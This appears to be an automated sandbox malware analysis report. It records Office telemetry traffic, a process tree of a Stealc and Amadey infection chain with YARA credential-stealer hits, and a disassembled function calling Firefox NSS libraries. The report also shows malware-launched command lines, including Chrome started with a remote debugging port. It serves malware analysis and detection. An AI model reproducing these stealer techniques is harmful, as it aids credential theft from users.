2024-11-10 18:45:21 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:22 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:22 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 9063af41-401e-0064-7ed2-2c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184522Z-16547b76f7f67wxlhC1DFWah9w0000000czg00000000cc76 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:22 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:22 UTC	517	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 1d414214-201e-0003-4d32-2cf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184522Z-16547b76f7fvllnfhC1DFWxkg80000000d2000000000an08 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:22 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:22 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 11605ebd-e01e-000c-4095-318e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184522Z-17df447cdb56j5xmhC1DFWn91800000009gg000000002e4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:22 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:22 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:22 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:22 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c6631a43-801e-008f-3e2f-332c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184522Z-15869dbbcc6b2ncxhC1DFWu4ss00000003q0000000006z8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:22 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	13:43:54
Start date:	10/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2d0000
File size:	1'792'512 bytes
MD5 hash:	3D8FD510F87BB030174FCCCCB5AD853A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1679108909.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2039853324.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2038805274.00000000002D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:44:03
Start date:	10/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:44:04
Start date:	10/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2224,i,3759947729293040694,8998904290489431999,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:44:29
Start date:	10/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:44:29
Start date:	10/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x800000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:44:29
Start date:	10/11/2024
Path:	C:\Users\user\DocumentsDGCFHIDAKE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsDGCFHIDAKE.exe"
Imagebase:	0x6f0000
File size:	3'265'024 bytes
MD5 hash:	88505AD4161E0D9D694C97E8515321BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2082774843.00000000006F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:44:33
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x1f0000
File size:	3'265'024 bytes
MD5 hash:	88505AD4161E0D9D694C97E8515321BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2121304688.00000000001F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:45:00
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1f0000
File size:	3'265'024 bytes
MD5 hash:	88505AD4161E0D9D694C97E8515321BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2923215795.00000000001F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	13:45:14
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe"
Imagebase:	0x260000
File size:	4'342'784 bytes
MD5 hash:	86D624FECB21CD16F980AFF2ED50776B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:45:25
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe"
Imagebase:	0x110000
File size:	3'144'704 bytes
MD5 hash:	E47A5C8C0AB719A7631D0E1D599C5ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.2901679632.00000000083B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2949042324.00000000061C1000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2633659651.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2647481918.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2634220328.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:45:34
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe"
Imagebase:	0xcf0000
File size:	1'792'512 bytes
MD5 hash:	3D8FD510F87BB030174FCCCCB5AD853A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2722879567.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2727708833.0000000000CF1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000003.2680020394.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:45:38
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe"
Imagebase:	0x110000
File size:	3'144'704 bytes
MD5 hash:	E47A5C8C0AB719A7631D0E1D599C5ED3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2852306554.0000000000949000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2777649984.0000000000947000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2792881195.0000000000944000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2792252572.0000000000942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2771398347.0000000000947000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2777872776.0000000000947000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:45:39
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'265'024 bytes
MD5 hash:	88505AD4161E0D9D694C97E8515321BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	13:45:46
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe"
Imagebase:	0xcf0000
File size:	1'792'512 bytes
MD5 hash:	3D8FD510F87BB030174FCCCCB5AD853A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000003.2809403050.00000000054D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2902060448.0000000000CF1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:45:50
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe"
Imagebase:	0x2e0000
File size:	2'739'712 bytes
MD5 hash:	57836E781F269AE53641D17A59DD5484
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	13:45:55
Start date:	10/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe"
Imagebase:	0x110000
File size:	3'144'704 bytes
MD5 hash:	E47A5C8C0AB719A7631D0E1D599C5ED3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Function 6C716E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C862120,6C717E60), ref: 6C716EBC
TlsGetValue.KERNEL32 ref: 6C716EDF
EnterCriticalSection.KERNEL32(?), ref: 6C716EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C716F25

Part of subcall function 6C6EA900: TlsGetValue.KERNEL32(00000000,?,6C8614E4,?,6C684DD9), ref: 6C6EA90F
Part of subcall function 6C6EA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6EA94F

PR_Unlock.NSS3 ref: 6C716F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C716FA9
TlsGetValue.KERNEL32 ref: 6C7170B4
EnterCriticalSection.KERNEL32(?), ref: 6C7170C8
PR_CallOnce.NSS3(6C8624C0,6C757590), ref: 6C717104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C717117
SECOID_Init.NSS3 ref: 6C717128
PORT_Alloc_Util.NSS3(00000057), ref: 6C71714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C71717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7171A9
PR_NotifyAllCondVar.NSS3 ref: 6C7171CF
PR_Unlock.NSS3 ref: 6C7171DD
free.MOZGLUE(?), ref: 6C7171EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C717208
free.MOZGLUE(00000000), ref: 6C717221
free.MOZGLUE(00000001), ref: 6C717235
TlsGetValue.KERNEL32 ref: 6C71724A
EnterCriticalSection.KERNEL32(?), ref: 6C71725E
PR_NotifyCondVar.NSS3 ref: 6C717273
PR_Unlock.NSS3 ref: 6C717281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C717291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C850148,,defaultModDB,internalKeySlot), ref: 6C7174CC
free.MOZGLUE(00000000), ref: 6C717513
free.MOZGLUE(00000000), ref: 6C71751B
free.MOZGLUE(00000000), ref: 6C717528
free.MOZGLUE(00000000), ref: 6C71753C
free.MOZGLUE(00000000), ref: 6C717550
free.MOZGLUE(00000000), ref: 6C717561
free.MOZGLUE(00000000), ref: 6C717572
free.MOZGLUE(00000000), ref: 6C717583
free.MOZGLUE(00000000), ref: 6C717594
free.MOZGLUE(00000000), ref: 6C7175A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C7175BD
free.MOZGLUE(00000000), ref: 6C7175C8
free.MOZGLUE(00000000), ref: 6C7175F1
PR_NewLock.NSS3 ref: 6C717636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C717686
PR_NewLock.NSS3 ref: 6C7176A2

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C7176B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C717707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C71771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C717731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C71774A
DeleteCriticalSection.KERNEL32(?), ref: 6C717770
free.MOZGLUE(?), ref: 6C717779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7177AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C7177C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7177DB
